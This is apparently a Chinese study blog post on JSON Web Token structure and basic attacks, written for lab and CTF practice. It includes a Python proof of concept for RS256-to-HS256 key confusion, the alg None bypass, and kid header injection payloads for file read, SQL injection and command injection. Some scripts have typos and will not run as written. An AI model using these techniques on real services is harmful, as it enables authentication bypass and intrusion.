JWT认证攻击基础

发布于 2023-06-03  325 次阅读


  • JWT的全称是Json Web Token。它遵循JSON格式,将用户信息加密到token里,服务器不保存任何用户信息,只保存密钥信息,通过使用特定加密算法验证token,通过token验证用户身份。基于token的身份验证可以替代传统的cookie+session身份验证方法。
  • 后文提到的base64url编码加密是先做base64加密,然后再将 + 改成 -、 / 改成 _ ,同时也去除末尾额外添加的 = 字符.
  • jwt想要打,jwt结构中的前两部分只是一个普通的编码而已,只要能抓包就能获取到相关信息,主要要破解的就是第三部分

jwt结构

  • JWT分别由标头(Header)、有效载荷(Payload)和签名(Signature)三个部分组成,采用base64url编码进行加密,以.作为连接的字符串形式。

  • 把前两段的base密文通过.拼接起来,然后对其进行加密,加密方式为标头声明的方式,再然后对加密的密文进行base64url加密,最终得到token的第三段。

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.e
yJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRo
s9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQs
AuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-
Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2
f-TJSNI0DYprHHLFw

header

  • header部分承载两部分信息: 一个是typ,表示令牌类型 一个是alg,表示签名所使用的算法,默认是 HMAC SHA256.header是一段如下的json
{
  "kid": "keys/3c3c2ea1c3f113f649dc9389dd71b851",
  "typ": "JWT",
  "alg": "RS256"
}
  • 将其进行base64url编码,作为第一部分,并且加上.与第二部分分开,得到
eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.

payload

  • payload部分是JWT的主体部分,用于存放有效数据。包含三个部分,标准中注册的声明,公共的声明,私有的声明.包含以下内容
"payload": {
  "iss": "some auth server", // 颁发token的 auth server 
  "sub": "naimish",  //主题是什么,通常用来指定颁发给哪个user
  "aud": "myrest client", //确定要给哪个resource server 验证 token
  "iat": 1681480232, // 发布时间
  "exp": 1682480832, //到期时间

    "data": [  //自定义的数据
      {
        "aaa": "something ",
        "bbb": "other",
      }
    ],  
}
{
  "sub": "dubhe123"
}
  • 将其进行base64url编码,作为第二部分,并且加上.与第三部分分开,得到
eyJzdWIiOiJkdWJoZTEyMyJ9.

signature

  • signature原信息本身是一段加密算法,原信息是按照下面的格式根据header和payload推出来的,但是写入到jwt的部分是这段代码进行加密的结果.
  • 原信息模板为
base64url(
      加密方式SHA256(
             base64UrlEncode(header) + "." + base64UrlEncode(payload),
             your-256-bit-secret (秘钥加盐)
      )
)
  • 比如根据已知header,加密方式为HMAC,则加密原文为
base64url(
      HMACSHA256(
             base64UrlEncode(header) + "." + base64UrlEncode(payload),
             随便填的密钥
      )
)
  • 带入header和payload得到密文
XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POT
OEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA
9IYaWHeh1b4OUG0OPM3saXYSG-
Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f
-TJSNI0DYprHHLFw

jwt漏洞

import time
import jwt

#头信息
head = {
    "alg":"HS256",
    "typ":"jwt"
}
#payload
payloda = {
    "iat":time.time(),
    "name":"admin"
}
#调用jwt库,生成json web token
#                            秘钥             加密算法
jwt_token = jwt.encode(payload,"1121",algorithm="HS256",headers=head).decode('ascii')
#输出
print(jwt_token)
  • 再来一个jwt解密脚本
import jwt

#需要解码的token
jwt_token = "eyJ0eXAiOiJqd3QiLCJhbGciOiJIUzI1NiJ9.eyJpYXQiOjE1OTUwNzM1NDguNjcyNzk2LCJuYW1lIjoiYWRtaW4ifQ.m_f32qmeuFTCugdPBfMA1jGmpkXWoI3Vjt-sY30_xrw"

data = None

try:
    #                            秘钥
    data = jwt.decode(jwt_token,"1121")
except Exception as e:
    print(e)

print(data)

空加密

  • JWT支持使用空加密算法,可以在header中指定alg为None这样的话,只要把signature设置为空(即不添加signature字段),提交到服务器,任何token都可以通过服务器的验证。
  • 比如某服务器允许使用”alg” : “None”(几乎不可能,一般只存在靶场中).此时,你抓了别的用户的包找到了jwt,将标头和有效载荷给cv下来,将标头中的加密方式设置为None,然后把签名删去(要保留签名前面的点),直接将包再次提交,就可以拿到用户的登录权限了.
  • 上面那个网站和脚本都不支持空加密,感觉还是得自己写一个,下一篇报告开一个吧

hmac

  • hmac一般用的HS256(没试过其他hs),RSA一般用的RS256(没试过其他rs)
JWT中最常用的两种算法为HMAC和RSA。

HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密。

RSA则是一种非对称加密算法,使用私钥加密明文,公钥解密密文。
  • HS256算法使用相同密钥为所有消息进行签名和验证。而RSA256算法则使用私钥对消息进行签名并使用公钥进行身份验证。如果本来后端按rsa256处理的,就应该用用户提供的公钥去解密用户用私钥产生的签名,结果中途被抓包成了hs256,但是后端的处理逻辑不会变,就会用RSA的公钥(pub)视为当前算法(HMAC)的密钥,使用HS256算法对接收到的签名进行验证。这样,唾手可得的公钥就成被攻击者的私钥了.(==没搞懂为啥不随便找个字符串直接rsa换hs==)

  • 按照这个思路可以改一下上面的jwt生成脚本得到poc脚本

import time
import jwt

#头信息
{"typ":"JWT","alg":"HS256"}
#payload
payloda = {"iss":"https:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1689513762,"exp":1689514962,"data":{"hello":"world"}}
public = open('公钥位置', 'r').read()#密钥
#调用jwt库,生成json web token
#                            秘钥             加密算法
jwt_token = jwt.encode(payload,key=public,algorithm="HS256",headers=head).decode('ascii')
#输出
print(jwt_token)
  • 这里有一道小的练习题目http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem
  • 公钥在http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php
  • 也可以下载源码自己部署https://github.com/Sjord/jwtdemo/我的py跑不动,就没法测试了

密钥爆破

  • 对 JWT 的密钥爆破需要在一定的前提下进行,所以其实JWT 密钥爆破的局限性很大。
知悉JWT使用的加密算法

一段有效的、已签名的token

签名用的密钥不复杂(弱密钥)

表头注入

  • kid是jwt header中的一个可选参数,全称是key ID,它用于指定加密算法的密钥所存储的位置,如
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/home/jwt/.ssh/pem"
}
  • 也就是说kid读取了文件,那么就可以利用这个功能进行以下攻击:
  1. 任意文件读取
  • 如果没有对参数过滤的话,系统是不知道传参是密钥文件还是其他文件的
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/flag"
}
  1. sql注入
  • kid也可能被后端用于从数据库中提取数据,这时候就有可能造成SQL注入
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "key11111111' || union select 'secretkey' -- "
}
  1. rce
  • kid由可能被后端的命令或者代码执行函数处理从而产生rce
{
    "alg" : "HS256",
    "typ" : "jwt",
    "kid" : "/flag|ls"
}

靶场搭建

  • 靶场搭建https://blog.csdn.net/qq_42620328/article/details/108392308
  • docker搭好之后日常访问不了,重启一下,不要忘记橙子科技靶场的痛😭
docker pull webgoat/webgoat-8.0
docker run -p 8080:8080 -t webgoat/webgoat-8.0
  • 看了别人的wp,可不简单,过一段时间等对这个知识点的重要程度了解一些再决定怎么弄
届ける言葉を今は育ててる
最后更新于 2024-02-07